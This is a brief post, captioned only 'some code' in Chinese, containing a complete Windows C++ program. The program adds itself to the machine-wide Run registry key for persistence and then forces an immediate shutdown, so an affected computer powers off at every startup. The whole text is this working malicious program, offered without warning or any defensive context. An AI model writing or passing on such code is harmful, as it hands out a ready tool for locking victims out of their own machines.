一些代码：

#include <windows.h>
#include <iostream>
using namespace std;
void AutoPowerOn() {
	HKEY hKey;  
	LPCTSTR lpRun = "Software\\Microsoft\\Windows\\CurrentVersion\\Run";
	long lRet = RegOpenKeyEx(HKEY_LOCAL_MACHINE, lpRun, 0, KEY_WRITE, &hKey);

	if(lRet == ERROR_SUCCESS) { 
		char pFileName[MAX_PATH] = {0};
		DWORD dwRet = GetModuleFileName(NULL, pFileName, MAX_PATH);
		lRet = RegSetValueEx(hKey, "SetAutoRun", 0, REG_SZ, (BYTE *)pFileName, dwRet);
		RegCloseKey(hKey);
	}
}
int main() {
	AutoPowerOn();
	system("shutdown /s -t 00");
}
